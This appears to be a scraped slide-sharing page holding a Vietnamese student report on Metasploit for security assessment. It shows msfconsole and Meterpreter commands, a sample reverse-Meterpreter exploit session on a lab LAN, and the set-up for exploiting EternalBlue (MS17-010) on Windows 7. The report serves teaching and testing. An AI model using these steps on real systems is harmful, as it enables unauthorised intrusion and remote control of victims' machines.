Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýQuý Đồng Nast
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctapLong Prồ
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingv7q3t
 
An toàn hệ điều hành PTIT
An toàn hệ điều hành PTITAn toàn hệ điều hành PTIT
An toàn hệ điều hành PTITPhạm Trung Đức
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2Con Ranh
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1Con Ranh
 
Rà soát Malware bằng SysInternal Suite
Rà soát Malware bằng SysInternal SuiteRà soát Malware bằng SysInternal Suite
Rà soát Malware bằng SysInternal SuitePhạm Trung Đức
 
bctntlvn (24).pdf
bctntlvn (24).pdfbctntlvn (24).pdf
bctntlvn (24).pdfLuanvan84
 
Giao trinh phan tich thiet ke he thong.pdf
Giao trinh phan tich thiet ke he thong.pdfGiao trinh phan tich thiet ke he thong.pdf
Giao trinh phan tich thiet ke he thong.pdfTuyenKieu5
 

Similar to su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2343e96eb164414c1-1691230336667.pdf (20)

Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
 
Luận văn: Nghiên cứu tiêu chuẩn ISO 27001 và ứng dụng, HAY
Luận văn: Nghiên cứu tiêu chuẩn ISO 27001 và ứng dụng, HAYLuận văn: Nghiên cứu tiêu chuẩn ISO 27001 và ứng dụng, HAY
Luận văn: Nghiên cứu tiêu chuẩn ISO 27001 và ứng dụng, HAY
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1
 
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctap
 
An toanthongtin end
An toanthongtin endAn toanthongtin end
An toanthongtin end
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hacking
 
An toàn hệ điều hành PTIT
An toàn hệ điều hành PTITAn toàn hệ điều hành PTIT
An toàn hệ điều hành PTIT
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1
 
Hệ thống thông tin quản lý trong doanh nghiệp và kế toán tiền mặt
Hệ thống thông tin quản lý trong doanh nghiệp và kế toán tiền mặtHệ thống thông tin quản lý trong doanh nghiệp và kế toán tiền mặt
Hệ thống thông tin quản lý trong doanh nghiệp và kế toán tiền mặt
 
Metasploit
MetasploitMetasploit
Metasploit
 
Nhom 17.pptx
Nhom 17.pptxNhom 17.pptx
Nhom 17.pptx
 
Rà soát Malware bằng SysInternal Suite
Rà soát Malware bằng SysInternal SuiteRà soát Malware bằng SysInternal Suite
Rà soát Malware bằng SysInternal Suite
 
Giao trinhpttkhttt
Giao trinhpttkhtttGiao trinhpttkhttt
Giao trinhpttkhttt
 
bctntlvn (24).pdf
bctntlvn (24).pdfbctntlvn (24).pdf
bctntlvn (24).pdf
 
Giao trinh phan tich thiet ke he thong.pdf
Giao trinh phan tich thiet ke he thong.pdfGiao trinh phan tich thiet ke he thong.pdf
Giao trinh phan tich thiet ke he thong.pdf
 
Cơ sở lý luận về phân tích thiết kế hệ thống thông tin quản lý khách hàng.docx
Cơ sở lý luận về phân tích thiết kế hệ thống thông tin quản lý khách hàng.docxCơ sở lý luận về phân tích thiết kế hệ thống thông tin quản lý khách hàng.docx
Cơ sở lý luận về phân tích thiết kế hệ thống thông tin quản lý khách hàng.docx
 

su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2343e96eb164414c1-1691230336667.pdf

  • 1. BÁO CÁO ĐÁNH GIÁ VÀ KIỂM ĐỊNH AN TOÀN HỆ THỐNG THÔNG TIN ĐỀ TÀI: SỬ DỤNG METASPLOIT TRONG ĐÁNH GIÁ AN TOÀN HỆ THỐNG THÔNG TIN Giáo viên hướng dẫn: Hà Nội, tháng 07 năm 2020 1
  • 3. DANH MỤC HÌNH VẼ VÀ BẢNG BIỂU 3
  • 4. LỜI MỞ ĐẦU Hiện nay vấn đề về mất an toàn thông tin trên các hệ thống thông tin, hệ thống mạng và không gian mạng được quan tâm rất lớn trên toàn thế giới. Trong những năm gần đây chúng ta đã chứng kiến những cuộc tấn công mạng, sự cố mạng quy mô cực kì lớn, các tin tặc đã lợi dụng các lỗ hổng trong hệ thống để đánh cắp dữ liệu mật hay trực tiếp tống tiền trên quy mô toàn cầu. Do đó để giúp hệ thống tránh khỏi các nguy cơ liên quan đến bảo mật, đồng thời giúp các nhà phát triển khắc phục những vấn đề còn tồn đọng trong thiết kế thì phương pháp kiểm thử an ninh được áp dụng và sử dụng phổ biến nhất. Để thực hiện kiểm thử một cách tốt nhất đem lại kết quả cao nhất thì rất nhiều bộ công cụ hay phần mềm hỗ trợ và thực thi kiểm thử được ra đời. Hiện nay nổi bật nhất phổ biến nhất được hầu hết các chuyên gia bảo mật đánh giá cao và sử dụng chính là Metasploit. Công cụ này cung cấp cho ta các chức năng để do thám kiểm tra và tấn công các lỗ hổng của hệ thống máy tính hoặc xâm nhập vào các hệ thống từ xa. Metasploit hiện nay đã phát triển ra nhiều phiên bản khác nhau, với phiên bản cao cấp nhất là Metasploit Pro đem lại cho ngƣời dùng tất cả các tính năng tốt nhất nhƣ tính tự động, giao diện thân thiện, tạo báo cáo ... phục vụ cho việc kiểm thử an ninh. Tuy nhiên để sử dụng phiên bản này thì bạn phải trả chi phí hàng năm rất lớn (khoảng 7000$- 8000$/ năm). Ngoài ra còn có phiên bản Metasploit Framework, đây là phiên bản miễn phí mã nguồn mở với các chức năng chính tập trung vào các Module tấn công, giao diện dòng lệnh kém thân thiện với người dùng, không có tính năng tự động, các bước làm đều phải làm thủ công ... Chính vì vậy tôi sẽ phát triển mở rộng thêm tính năng tạo báo cáo về kết quả của các phiên kiểm thử an ninh theo định dạng PDF và HTML cho phiên bản miễn phí này, vốn là một tính năng chỉ có trong phiên bản thương mại đắt tiền nhất của Metasploit Pro.Với tính năng tạo báo cáo được thêm vào sẽ giúp ta có thể so sánh phân tích đánh giá về các lỗ hổng hay khám phá ra những mối đe dọa tiềm ẩn khác để ra một sản phẩm bảo mật an ninh tích hợp hơn mạnh mẽ hơn. Nội dung báo cáo gồm 3 chương: Chương 1: Tổng quan về đánh giá an toàn hệ thống thông tin Chương này cung cấp khái niệm cơ bản về đánh giá, tầm quan trọng của đánh giá và phương pháp luận đánh giá an toàn hệ thống thông tin. Chương 2: Sử dụng Metasploit trong đánh giá an toàn hệ thống thông tin Chương này cung cấp các kiến thức cơ bản về Metasploit. Tập trung phân tích Metasploit Framework để tiến hành thực nghiệm khai thác lỗ hổng. Chương 3: Thực nghiệm khai thác lỗ hổng MS17-010 bằng Metasploit Framework Thực hiện khai thác lỗ hổng MS17-010 trên hệ điều hành Windows 7 64 bit. Báo cáo được viết lần đầu tiên và trong thời gian ngắn, do đó có thể sẽ còn nhiều khiếm khuyết về nội dung cũng như phương pháp thực hiện. Chúng em rất mong nhận được những ý kiến đóng góp của thầy và các bạn để tiếp tục hoàn thiện báo cáo tốt hơn. 4
  • 5. Chương 1: TỔNG QUAN VỀ ĐÁNH GIÁ AN TOÀN HỆ THỐNG THÔNG TIN 1.1. Khái niệm đánh giá an toàn hệ thống thông tin Theo Viện tiêu chuẩn quốc gia và công nghệ, đánh giá an toàn hệ thống thông tin (Information Security Assessment) là quy trình xác định tính hiệu quả của một thực thể được đánh giá (ví dụ: máy tính, hệ thống, mạng, quy trình vận hành, con người, …) đáp ứng các mục tiêu an ninh cụ thể. Quy trình này tập trung vào 3 phương pháp chính: kiểm thử (testing), kiểm tra (examination) và phỏng vấn (interviewing). Kiểm thử là thực hiện giám định một hoặc nhiều đối tượng theo điều kiện quy định để so sánh kết quả thực tế với dự kiến. Kiểm tra là quá trình xem xét, quan sát hoặc phân tích để làm rõ, khẳng định và lấy bằng chứng. Phỏng vấn là tiến hành các cuộc thảo luận với các cá nhân hoặc các nhóm trong một tổ chức để tìm hiểu, xác định vị trí của các đối tượng liên quan tới an toàn thông tin. Kết quả của quá trình đánh giá được sử dụng đễ hỗ trợ trong việc đưa ra các biện pháp kiểm soát hệ thống mạng một cách hiệu quả nhất. Theo SANS, đánh giá an toàn hệ thống thông tin là thước đo độ an toàn của hệ thống hoặc tổ chức, hay còn hiểu là cách thức thực hiện an toàn thông tin. Đánh giá an toàn là đánh giá dựa trên việc xác định các rủi ro, trong đó tập trung vào xác định điểm yếu và các tác động tới hệ thống. Đánh giá an toàn dựa trên 3 phương pháp chính, có liên quan đến nhau là: rà soát (reviewing), kiểm tra (examination) và kiểm thử (testing). Sự kết hợp của 3 2 phương pháp này có thể đánh giá chính xác các yếu tố về công nghệ, con người và quy trình xử lý an ninh của một hệ thống mạng. Trong đó: Phương pháp rà soát (Reviewing Method): Phương pháp rà soát bao gồm các kỹ thuật xem xét thụ động và thực hiện phỏng vấn, thường được thực hiện thủ công. Chúng giúp cho việc đánh giá các hệ thống, ứng dụng, mạng, chính sách và các quy trình xử lý để phát hiện các điểm yếu trong hệ thống. Những công việc cần thực hiện chủ yếu là xem xét lại tài liệu, kiến trúc, tập hợp quy tắc và cấu hình hệ thống. Phương pháp này cho phép người đánh giá có một cái nhìn sơ lược về mức độ, các thông tin quan trọng trong hệ thống và nhu cầu đảm bảo an ninh mà hệ thống hướng tới. Phương pháp kiểm tra (Examination Method): Kiểm tra là quy trình xem xét cụ thể tại tổ chức từ mức hệ thống/ mạng để xác định các điểm yếu an ninh tồn tại trong hệ thống. Các công việc cụ thể như: phân tích tường lửa, phân tích hệ thống phát hiện và ngăn chặn xâm nhập, phân tích các bộ định tuyến, ... Nó cũng bao gồm việc dò quét điểm yếu trong các hệ thống mạng. Những thông tin thu đươc từ phương pháp rà soát ở trên là nền tảng cho việc kiểm tra được thực hiện dễ dàng và hiệu quả. Phương pháp kiểm thử (Testing Method): Kiểm thử (hay còn gọi là kiểm thử xâm nhập – penetration testing) là một quy trình trong đó người kiểm thử đóng vai trò như kẻ tấn công thực hiện các phương pháp tìm kiếm lỗ hổng bảo mật trong mạng để thực hiện xâm nhập tới hệ thống hoặc mạng. Các thông tin 5
  • 6. từ quá trình rà soát, kiểm tra cũng góp phần rất quan trọng cho việc kiểm thử chính xác. Hình 1.1 mô tả mối quan hệ giữa các phương pháp: Hình 1.1. Phương pháp đánh giá an toàn hệ thống thông tin 1.2. Tầm quan trọng của đánh giá an toàn hệ thống thông tin Việc thực hiện đánh giá an toàn nhằm xác định mức độ an ninh hiện tại của hệ thống thông tin trong một tổ chức. Điều này cho phép tổ chức có một cái nhìn toàn diện về các mối nguy hại tồn tại trong hệ thống mạng của mình; đồng thời có các giải pháp khắc phục, cải tiến hệ thống thông tin tiếp cận tới các mục tiêu an ninh tổ chức đề ra và giảm thiểu các rủi ro không đáng có. Dưới đây sẽ mô tả cụ thể hơn về các vấn đề an ninh tới hệ thống mạng của tổ chức: 6
  • 7. Hình 1.2. Mục tiêu an toàn của tổ chức Đánh giá an toàn hệ thống thông tin cho phép trả lời các câu hỏi như sau:  Các thông tin quan trọng là gì?  Hệ thống thông tin đã triển khai các giải pháp đảm bảo an ninh nào?  Tình hình an ninh thông tin hiện tại là như thế nào?  Có cần thêm các biện pháp để đối phó với vấn đề đảm bảo an ninh thông tin hay không? + Vấn đề nào cần ưu tiên trong lộ trình xử lý để đảm bảo an toàn thông tin một cách đầy đủ? Như vậy, khi thực hiện đánh giá an ninh các tổ chức không chỉ nắm được tình hình chung về các khía cạnh an toàn trong hệ thống mạng của tổ chức mình mà còn xác định được các thông tin quan trọng, ưu tiên để xử lý phù hợp nhằm đảm bảo xây dựng các giải pháp an ninh một cách đầy đủ và thống nhất. 7
  • 8. Chương 2. SỬ DỤNG METASPLOIT TRONG ĐÁNH GIÁ AN TOÀN HỆ THỐNG THÔNG TIN 2.1. Khái niệm Metasploit Metasploit hay còn có thể gọi là Metasploit Project là một dự án liên quan đến bảo mật máy tính, cung cấp những thông tin về các lỗ hổng bảo mật. Đối tượng nhắm đến của Metasploit chính là những quá trình tấn công xâm nhập kiểm thử (Penetration Testing) và phát triển các hệ thống phát hiện xâm nhập (Intrusion Detection System – IDS) Metasploit được tích hợp sẵn trong hệ điều hành Kali Linux. Nó cũng có thể được tải xuống từ địa chỉ web của nhà phát triển: https://www.rapid7.com/products/metasploit/. 2.2. Lịch sử ra đời và phát triển Metasploit ra đời vào năm 2003 bởi tác giả H. D. Moore được viết trên nền tảng ngôn ngữ Perl sau này là Ruby, ban đầu nó được xem như là các công cụ dạng Portable dành cho mạng máy tính. Mãi cho đến ngày 21 tháng 09 năm 2009, Metasploit đã được mua lại bởi Rapid7, một công ty bảo mật chuyên cung cấp những giải pháp về quản lý lỗ hổng. Cũng giống như những sản phẩm thương mại “Canvas” của Immunity, “Core Impact” của Core Security Technologies. Metsploit cũng được sử dụng để kiểm tra lỗ hổng bảo mật của những hệ thống máy tính hoặc xâm nhập vào những hệ thống từ xa. Metasploit có thể được dùng vào các hoạt động hợp pháp hoặc không hợp pháp, nó dần trở nên nổi tiếng và được biết đến như là một Framework cho việc phát triển những module khai thác, tấn công lỗ hổng bảo mật. Mỗi một Module được phát triển từ bên thứ ba (Third-Party) đều được đi kèm với những khuyến cáo để nhằm nêu bật được khả năng khai thác, mức độ rủi ro và cách khắc phục lỗ hổng chứ không chỉ tập trung vào khai thác lỗ hổng. Từ phiên bản Metasploit 3.0 được tích hợp thêm những công cụ giúp phát hiện các lỗi bảo mật trong phần mềm. Vào tháng 8 năm 2011 thì phiên bản Metasploit 4.0 được phát hành và được sử dụng cho đến nay, đặc biệt là có hỗ trợ trên rất nhiều các nền tảng khác nhau như : Linux, Windows, Unix…vv 2.3. Các phiên bản Metasploit Hiện nay trải qua một thời gian dài sừa đổi và phát triển thì Metasploit có những phiên bản sau: Metasploit Community Edition Vào tháng 10 năm 2011 thì Rapid7 phát hành Metasploit Community Edition, một phiên bản miễn phí, có giao diện web cho người dùng. Phiên bản này được phát triển dựa vào những tính năng của phiên bản có trả phí, chỉ có điều phiên bản này đã bị bỏ đi một số tính năng “network discovery/ module browsing/manual exploitation”. Phiên bản này phù hợp với các công ty nhỏ và sinh viên. 8
  • 9. Hình 2.1. Giao diện Metasploit Community Edition Metasploit Pro Tháng 10 năm 2010, Rapid7 đã phát hành Metasploit Pro, một phiên bản thương mại. Có thể nói đây là một phiên bản mạnh mẽ nhất của Metasploit, nó bao gồm tất cả các tính năng của Metasploit Express và phát triển thêm các tính năng ưu việt khác như “Quick Start Wizards/MetaModules” , xây dựng và quản lý những hoạt động tấn công sử dụng kỹ nghệ xã hội (Social Engineering), kiểm thử ứng dụng Web, tạo các Payload một cách tự động để tránh sự phát hiện của các phần mềm Anti-Virus, tích hợp cả công cụ mạnh mẽ Nexpose cho việc quét lỗ hổng trên mạng, sử dụng kỹ thuật “VPN pivoting”. Và có một điểm khác biệt nữa là phiên bản Pro hỗ trợ cả chế độ dòng lệnh và giao diện người dùng. Phiên bản này hiện tại thì có giá cao nhất so với các phiên bản khác, phù hợp cho những người thực hiện kiểm thử xâm nhập, những nhóm bảo mật. Hình 2.2. Giao diện Metasploit Pro Metsploit Framework Trái ngược hoàn toàn với các phiên bản khác của Metasploit thì Metasploit Framework chỉ có duy nhất một chế độ giao diện dòng lệnh, mọi thao tác đều thông qua dòng lệnh. Có một điều đặc biệt thì đây là phiên bản mã nguồn mở và hoàn toàn miễn phí, rất phù hợp cho việc phát triển và nghiên cứu. Nhược điểm của phiên bản này là hầu 9
  • 10. như chỉ có một số tính năng cơ bản, không được cập nhật như những phiên bản khác. Chính vì vậy việc phát triển, tích hợp các tính năng mới vào Metasploit Framework là rất cần thiết, phù hợp với những nhu cầu, nhiệm vụ khi mà có giới hạn về mặt chi phí. Tuy có nhiều hạn chế về những tính năng ưu việt thì phiên bản này có thể coi là công cụ không thể thiếu của những nhà nghiên cứu bảo mật chuyên nghiệp, những người kiểm thử xâm nhập và được giới Hacker rất ưa chuộng. Hình 2.3. Giao diện Metasploit Framework 2.4. Metasploit Framework 2.4.1. Tính năng và các thành phần của Metasploit Framework Tính năng  Quét cổng để xác định các dich vụ đang hoat động trên server  Xác định các lỗ hổng dựa trên phiên bản hệ điều hành và phiên bản các phần mềm cài đặt trên hệ điều hành đó  Thử nghiệm khai thác lỗ hổng đã được xác định Thành phần: Metasploit hỗ trợ nhiều giao diện với người dùng:  Console interface: Dùng msfconsole.bat. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn  Web interface: Dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web  Command line interface: Dùng msfcli.bat Environment: 10
  • 11.  Global Environment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits.  Temporary Environment: Được thực thi thông qua 2 câu lệnh set và unset, environment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác. Bạn có thể lưu lại environment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện. Những options nào mà chung giữa các exploits module như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global Environment. Ví dụ: Msf5> set LORT 80 Msf5> set LHOST 192.168.1.12 Một số câu lệnh cơ bản: - Back: lệnh này dùng khi bạn muốn thoát ra khỏi module bạn đã chọn trước đó sau khi hoàn thành công việc hoặc muốn chuyển sang công viêc khác. Ví dụ: msf payload(reverse http) > back Msf> - Check: lệnh này giúp ta kiểm tra đã cấu hình đúng cho khai thác chưa, mọi việc đã hoàn thành chưa. Cho ta biết kết quả mà không cần phải thưc thi khai thác đó. Nhưng không phải tất cả mọi mã khai thác đều hỗ trợ lệnh này. - Connect: lênh này giống như môt bản netcat thu nhỏ được cho vào metasploit được hỗ trợ với ssl, proxy, pivoting… Với việc dùng câu lệnh connect với địa chỉ IP và Port tương ứng, chúng ta có thể connect tới một host từ metasploit giống như khi dùng với netcat hoặc telnet vậy. Ví dụ: msf> connect 188.69.228.254 22 - Info: lệnh này cho biết những thông tin chi tiết của một module hay một mã khai thác nào đó. Hiển thị cho ta thông tin cơ bản nhất, bao gồm cả các tùy chọn cần thiết. - Irb: lệnh này cho ta biết các module đang chạy. - Load: Lênh này để load một plugin từ metasploit plugins. - Search: lệnh này giúp ta tìm kiếm exploit, auxiliary, encoder. Trong đó nó còn hỗ trợ một số keyword giúp cải tiến khả năng tìm kiếm như: name, path, platform, port, type, app, author, cve, bid, osvdb, edb. Ví dụ: search cve:2099 type:exploit app:client 11
  • 12. - Session: lênh này liệt kê các session đang tồn tại, session này có thể là session của shell, của meterpreter…… - Set – unset: lệnh này cho phép ta cấu hình cho các exploit… lệnh này gặp thường xuyên. Unset là lệnh có ý nghĩa ngược lại. - Setg – unsetg: trong quá trình thực hiện tấn công một mục tiêu, hoặc nhiều mục tiêu. Ta có thể dùng một exploit hoặc đôi khi là nhiều exploit. Có một vài option nết set bình thường thì ta phải set nhiều lần. Nhưng nếu ta để choc ac option này có ý nghĩa toàn cục. Thì việc lặp lại là không cần. Nó có hiệu lực cho mọi exploit, auxiliary. Đó là ý nghĩa của setg (global set). Để hủy thì ta dùng unsetg. Nếu muốn lưu việc cấu hình này lại thì dùng lệnh “save”. - Show: liệt kê các module hiện tại. - Use: cho phép chon một module. - Auxiliary: là một module cung cấp chức năng tăng cường cho các thử nghiệm xâm nhập và quét lổ hổng cùng với các tác vụ tự động. Phân loại trong auxiliary module: module quét các giao thức (như SMB, HTTP), module quét các Port, wireless, IPV6, DOS, Server modules, Module khai thác truy cập quản trị. - Exploits: là một module dùng để khai thác các dịch vụ. - Payloads: ta có thể hiểu đơn giản nó là một đoạn code thưc thi trên máy nạn nhân, dùng để thực hiện một số hoạt động nào đó, hoặc dùng để kết nối về máy của người tấn công. Có 2 phương pháp chủ yếu được dùng. Đó là gửi cho nạn nhân thông qua việc phân tích một lỗi, lỗ hổng nào đó trên hệ thống của nạn nhân, từ đó đột nhập và gửi đoan payload này cho nạn nhân. Kiểu thứ 2 là gửi trưc tiếp cho nạn nhân, chờ đợi nạn nhân sơ ý nhận nó- đây gọi là kỹ thuật social engineering. - Target: cung cấp các danh sách các mục tiêu phù hợp với module khai thác mà bạn chọn. 2.4.2. Sử dụng Metasploit Framework a. Payload meterpreter Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác, tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object (DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống 12
  • 13. virus. Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote computer:  Fs: Cho phép upload và download files từ các remote machine  Net: Cho phép xem thông tin mạng của remote machine như IP, route table  Process: Cho phép tạo các processes mới trên remote machine  Sys: Cho phép xem thông tin hệ thống của remote machine Sử dụng câu lệnh:  use -m module1,module2,module3 [ -p path ] [ -d ]: Câu lệnh use dùng để load những module mở rộng của meterpreter như: Fs, Net, Process.  loadlib -f library [ -t target ] [ -lde ]: Câu lệnh cho phép load các thư viện của remote machines.  read channel_id [length]: Lệnh read cho phép xem dữ liêu của remote machine trên channel đang kết nối.  write channel_id: Lệnh write cho phép ghi dữ liệu lên remote machine.  close channel_id: Đóng channel mà đã kết nối với remote computer.  interact channel_id: Bắt đầu một phiên làm việc với channel vừa thiết lập với remote machine.  initcrypt cipher [parameters]: Mã hoá dữ liệu được gửi giữa host và remote machine. Sử dụng module Fs: Cho phép upload và download files từ các remote machine.  cd directory: Giống lệnh cd của command line  getcwd: Cho biết thư mục đang làm việc hiện tại  ls [filter_string]: liệt kê các thư mục và tập tin  upload src1 [src2 ...] dst: Upload file  download src1 [src2 ...] dst: Download file Sử dụng module Net:  ipconfig  route: Xem bảng định tuyến của remote machine.  portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p rport ] [ -P ]: Cho phép tạo port forward giữa host và remote machine. Sử dụng module Process:  execute -f file [ -a args ] [ -Hc ]: Câu lệnh execute cho phép bạn tạo ra một process mới trên remote machine và sử dụng process đó để khai thác dữ liệu  kill pid1 pid2 pid3: Huỷ những process đang chạy trên máy remote machine  ps: Liệt kê những process của remote machine. 13
  • 14. Sử dụng module Sys:  getuid: Cho biết username hiện tại của remote machine  sysinfo: Cho biết thông tin về tên máy tính, hệ điều hành. Ví dụ: Msf>use Lsass_ms04_011 Msf>set PAYLOAD win32_reverse_meterpreter Msf>set RHOST 192.168.1.2 Msf>set LHOST 192.168.1.1 Msf>exploit Meterpreter> help Meterpreter>use -m P //add thêm tập lệnh của process Meterpreter>help< // xem các lệnh meterpreter hỗ trợ Meterpreter>ps // list các process mà remote machine đang chạy Meterpreter>kill // tắt các process mà remote machine đang chạy Meterpreter> // tấn công sử dụng comandline cmd của remote machine execute: success, process id is 3516. execute: allocated channel 1 for new process. meterpreter> interact 1 interact: Switching to interactive console on 1... interact: Started interactive channel 1. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:WINDOWS>echo Meterpreter interactive channel in action echo Meterpreter interactive channel in action Meterpreter interactive channel in action C:WINDOWS>ipconfig Caught Ctrl-C, close interactive session? [y/N] y meterpreter> 2.4.3. Quy trình khai thác mục tiêu 14
  • 15. a. Chon module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác.  show exploits: Xem các module exploit mà framework có hỗ trợ  use exploit_name: Chọn module exploit  info exploit_name: Xem thông tin về module exploit Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên metasploit.com hoặc qua script msfupdate.bat b. Cấu hình module exploit đã chọn:  Show options: Xác định những options nào cần cấu hình  Set: cấu hình cho những option của module đó Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh show advanceds c. Xác nhận những option vừa cấu hình:  Check: kiểm tra xem những option đã được set chính xác chưa. d. Lựa chọn mục tiêu: Lựa chọn hệ điều hành muốn thực hiện.  Show targets: những target được cung cấp bởi module đó.  Set: xác định target nào Ví dụ: msf> use windows_ssl_pct show targets Exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000…. e. Lựa chọn payload: Payload là đoạn code mà sẽ chạy trên hệ thống máy tính được điều khiển từ xa.  show payloads: Liệt kê ra những payload của module exploit hiện tại  info payload_name: Xem thông tin chi tiết về payload đó  set PAYLOAD payload_name: Xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show option để xem những option của payload đó  show advanced: Xem những advanced option của payload đó. f. Thực thi exploit:  Exploit: Lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác. 15
  • 16. Chương 3. THỰC NGHIỆM KHAI THÁC LỖ HỔNG MS17-010 BẰNG METASPLOIT FRAMEWORK 3.1. Giới thiệu về lỗ hổng MS17-010 Lỗ hổng MS17-010 hay còn được biết đến với cái tên EternalBlue là một điểm yếu trong giao thức SMBv1(Server Message Block) của hệ điều hành Windows, giúp hacker khai thác thông tin hoặc chiếm quyền điều khiển máy tính nạn nhân. Lỗ hổng MS17-010 là một lỗ hổng buffer overflow. Lợi dụng lỗ hổng này, hacker sẽ gửi các gói tin đặc biệt gây ra tràn bộ đệm và khiến máy tính nạn nhân thực thi các lệnh, mã độc của hacker. Phiên bản bị ảnh hưởng: – Người dùng cá nhân: Windows XP, 7, 8, 8.1, 10 – Máy chủ: Windows Server 2003, 2008, 2012, 2016 3.2. Bài toán áp dụng 3.2.1. Kịch bản tấn công Nạn nhân sử dụng hệ điều hành Windows 7 64 bit chưa được cập nhập vá lỗ hổng ms17- 010. Có sử dụng dịch vụ SMBv1 trên cổng 445 Hacker sử dụng hệ điều hành Kali Linux đã được cập nhật đầy đủ bản mới nhất các công cụ khai thác lỗ hổng trong máy. Máy nạn nhân sử dụng địa chỉ IP 192.168.1.113/24 Máy tấn công sử dụng địa chỉ IP 192.168.1.12/24 Chú ý: Nếu đang sử dụng Windows, hãy tắt phần mềm chống vi-rút và firewall vì Metasploit sẽ được firewall xác định như một virus xâm nhập. Trong trường hợp sử dụng Metasploit trên môi trường máy ảo, hãy đảm bảo rằng kết nối mạng được liên kết với mạng bên ngoài. Metasploit sẽ tìm và quét tất cả những gì được yêu cầu trên mạng của chúng ta và cả những người khác, do đó, metasploit cần được phép truy cập chính xác vào đúng mạng. Máy tấn công cũng cần phải nằm trong cùng mạng nội bộ với máy nạn nhân. 3.2.2. Sử dụng Metasploit Framework để khai thác lỗ hổng ms17-010  Trước tiên ta sẽ thiết lập địa chỉ IP trên 2 máy tấn công và máy của nạn nhân 16
  • 17. Hình 3.1. Cấu hình địa chỉ IP trên máy tấn công Hình 3.2. Cấu hình địa chỉ IP trên máy nạn nhân Hình 3.3. Kiểm tra kết nối giữa máy tấn công và máy nạn nhân  Thực hiện xác định host, cổng và các dịch vụ trong mạng cần khai thác 17
  • 18. Các thông tin cần thu thập như các host đang sống, cổng đang mở, nhận diện hệ điều hành và kiến trúc hệ thống, các dịch vụ đang chạy và các nguy cơ an ninh (vulnerability) của các host đó. Ở đây chúng ta sẽ tiến hành khai thác lỗ hổng thông qua cổng 445 Hình 3.4. Xác định host, cổng và các dịch vụ trong máy nạn nhân  Tạo database Hình 3.5. Tạo database  Triển khai giao thức Metasploit Khởi động Metasploit bằng lệnh msfconsole 18
  • 19. Hình 3.6. Giao diện Metasploit Framework  Tìm kiếm lỗ hổng MS17-010 Mỗi một lỗ hổng bảo mật được định nghĩa trong Metasploit thường có 2 module, một là cái auxiliary để quét xem máy nạn nhân có chứa lỗ hổng này không, hai là exploit để khai thác điều đó. Ta tiến hành tìm kiếm lỗ hổng MS17-010 trên máy nạn nhân thông qua câu lệnh: search eternalblue 19
